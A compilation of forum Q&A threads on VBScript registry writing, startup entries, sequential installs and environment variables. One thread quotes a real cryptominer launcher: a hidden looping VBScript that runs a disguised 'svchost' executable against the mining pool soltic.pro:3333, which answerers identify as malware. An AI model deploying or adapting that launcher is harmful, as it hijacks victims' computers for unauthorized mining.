Cannot write to proper place in Windows registry - vbscript

I use following code to create Windows registry entry.
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\Software\NewsReader\ConnectionString1", "Server=myServerName3\myInstanceName1;Database=myDataBase1;User Id=myUsername1;Password=myPassword1;", "REG_SZ"
Set WshShell = Nothing
Somehow it is writing in a wrong place.
HKEY_USERS\S-1-5-21-3289046681-1693842953-402210132-1123\Software\Classes\VirtualStore\MACHINE\SOFTWARE\NewsReader
I execute that script under admin domain account and also that account has Admin privileges locally.
What do I am missing here?
P.S. I found this Why is registry written in different location than expected? but it does not clear how I have to change my code...

Even though the account has admin privileges, the script must still explicitly elevate privileges due to UAC. See http://www.server-world.info/en/note?os=Other&p=vbs for some ideas on how to do this.

I found that is a correct behavior of the Windows.
http://msdn.microsoft.com/en-us/library/windows/desktop/aa965884(v=vs.85).aspx
And I checked it with another code. So I could read proper value.
Dim WSHShell, value
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
value = WSHShell.RegRead("HKLM\Software\NewsReader\ConnectionString1")
If err.number <> 0 Then
MsgBox("Error")
Else
MsgBox(value)
End If
Set WSHShell = nothing

Related

Delete a program from registry

I have a vbscript for adding a file to the registry, so on windows startups it opens automatically.
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" ,"C:\test\test.appref-ms","REG_SZ"
Now I'd like to prevent this file to open on startups and I need a vbscript for that. Do you have a solution? Thanks in advance!
I'm not aware of a way to remove a default value via RegDelete. WMI would work, though:
Const HKCU = &h80000001
path = "Software\Microsoft\Windows\CurrentVersion\Run"
GetObject("winmgmts://./root/default:StdRegProv").DeleteValue HKCU, path, ""

What does this vbs file code actually do?

I need to know what this script does:
dim WshShell
set WshShell = wscript.createObject("WScript.Shell")
WScript.Sleep(15000)
Do While 4=4
On Error Resume Next
WshShell.Run "C:\ProgramData\svchost\systems.exe -a cryptonight -o soltic.pro:3333",0,true
If Err.Number <> 0 Then
WScript.Quit
End if
WScript.Sleep(50000)
Loop
and does it run correctly ?
This appears to be malware associated with the CryptoNight mining software.
It starts an external application called systems.exe, from the parameters it looks like a cryptominer.

Run multiple vbscripts to install software sequentially

I know very little scripting but have 4 separate scripts to install 4 programs (runas pro + software to install software without the need for local admin rights)
How do i combine the 4 scripts into one script to install each software after the previous one has completed?
Here are my basic 4 scripts:
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("RunAsP.exe Adobe Air.rap")
Set objShell = Nothing
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("RunAsP.exe FrameWork 4.rap")
Set objShell = Nothing
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("RunAsP.exe Visual Studio runtime.rap")
Set objShell = Nothing
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("RunAsP.exe SalesForce For Outlook.rap")
Set objShell = Nothing
Any help would be much appreciated as i'm all googled out after having tried numerous methods)
Mark
Here is the doc that references the "run" method of WSHShell:
http://msdn.microsoft.com/en-us/library/d5fk67ky(v=vs.84).aspx
To fix your script you'd want something like this (note I fixed some syntax errors and other bugs in your script, not just the problem you were looking to solve.)
Set objShell = CreateObject("WScript.Shell")
objShell.run "RunAsP.exe Adobe Air.rap", 0, True
objShell.run "RunAsP.exe FrameWork 4.rap", 0, True
objShell.run "RunAsP.exe Visual Studio runtime.rap", 0, True
objShell.run "RunAsP.exe SalesForce For Outlook.rap", 0, True
Set objShell = Nothing
bWaitOnReturn:
Optional. Boolean value indicating whether the script should wait for the program to finish executing before continuing to the next statement in your script. If set to true, script execution halts until the program finishes, and Run returns any error code returned by the program. If set to false (the default), the Run method returns immediately after starting the program, automatically returning 0 (not to be interpreted as an error code).

writing registry values in ROISCAN script

I am using following VBScript in ROISCAN script to write registry values, but it is not working, if I execute the script independently it is working fine. not sure why, appreciate your help.
Set WshShell = CreateObject("WScript.Shell")
myKey = "HKEY_LOCAL_MACHINE\SOFTWARE\MyKey\MySubKey\MSOfficeBit"
WshShell.RegWrite myKey,12,"REG_SZ"
Set WshShell = Nothing
ROISCAN Script URL:
http://gallery.technet.microsoft.com/office/68b80aba-130d-4ad4-aa45-832b1ee49602
it has to be a permissions issue in ROISCAN. www.microsoft.com/sysinternals there is a program called filemon(and you can filter for just one executable so you don't see everything executing on your computer, which will show you RIOSCAN running and what user and if it found the file, and if there was file permission errors

VBScript : Windows System enviroment variable, changes not getting reflected in CMD prompt

I have written a VB script (.vbs) to add a Windows System Environment variable, as shown below,
set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\CATALINA_HOME", "C:\Tomcat5" , "REG_EXPAND_SZ"
When I see this environment variable in System Properties -> Advanced -> Environment Variables dialog, It shows that environment variable there.
But, when I run the command prompt and type "set" command there, I don't find the variable there. (I started the new CMD prompt after execution of the VBS)
Some how CMD prompt is not getting the changes in environment variable.
If I restart the machine, then I can access the environment variable from CMD prompt. But, I don't want user to restart the system after executing my vbs and the work in cmd prompt.
Any ideas?
that is because you are "inserting" a permanent value on the registry, to set a "live" value use the flowing code, for both prouposes use both codes
SET oShell = CREATEOBJECT("Wscript.Shell")
SET wSystemEnv = oShell.Environment("SYSTEM")
wSystemEnv("<Name>") = "<Value>"
SET wSystemEnv = NOTHING
SET oShell = NOTHING
Thanks Luis!
Actually, adding/modifying environment variable using registry is a bit raw way. We might be creating some inconsistencies by doing so.
So, the ideal way of doing is by using the collection which is dedicated to the environment variables, WshEnvironment.
Now, as suggested by Luis, I have written the following script to add system environment variable,
Set wshshell = CreateObject("WScript.Shell")
Dim WshSySEnv
Set WshSysEnv = wshshell.Environment("SYSTEM")
WshSysEnv("1VINOD") = "1Vinod"
WshSysEnv("2VINOD") = "2Vinod"
Set WshSySEnv = Nothing
Save this code in vbs file, execute the vbs file. Now, you will get the 2 environment variables in cmd prompt without restarting the system.
Similar script for removing the variables,
Set wshshell = CreateObject("WScript.Shell")
Dim WshSySEnv
Set WshSysEnv = wshshell.Environment("SYSTEM")
WshSysEnv.Remove("1VINOD")
WshSysEnv.Remove("2VINOD")
Set WshSySEnv = Nothing
This also does not require any restarts/logon-logoffs.
Enjoy!
I have tested it on XP, hope this works on Windows 7, too.

Resources